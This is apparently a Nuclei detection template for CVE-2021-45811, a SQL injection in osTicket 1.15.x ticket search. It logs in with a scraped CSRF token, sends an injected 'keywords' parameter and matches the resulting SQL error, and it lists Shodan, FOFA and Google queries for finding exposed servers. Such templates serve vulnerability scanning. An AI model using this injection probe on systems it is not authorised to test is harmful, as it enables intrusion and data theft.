id: CVE-2021-45811

info:
  name: osTicket 1.15.x - SQL Injection
  author: ritikchaddha
  severity: medium
  description: |
    A SQL injection vulnerability in the "Search" functionality of "tickets.php" page in osTicket 1.15.x allows authenticated attackers to execute arbitrary SQL commands via the "keywords" and "topic_id" URL parameters combination.
  impact: |
    Authenticated attackers can exploit SQL injection in the Search functionality to extract sensitive database contents including user credentials and ticket information.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://members.backbox.org/osticket-sql-injection/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45811
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-45811
    cwe-id: CWE-89
    epss-score: 0.02454
    epss-percentile: 0.82799
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2021,osticket,sqli,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /tickets.php?a=search&keywords=text'+:1&topic_id=topic_id_val HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body_2, "FROM (SELECT", "topic_id_val\'\' IN NATURAL", "ORDER BY relevance")
# digest: 490a0046304402207b53415039b54503f076ecd97cab6943d20eeb39b39b228c2d9a6233822c211202201cb0d82c6a482a55725c33004e523347ac89cff6a1826823ed25d0ab816916c5:922c64590222798bb761d5b6d8e72950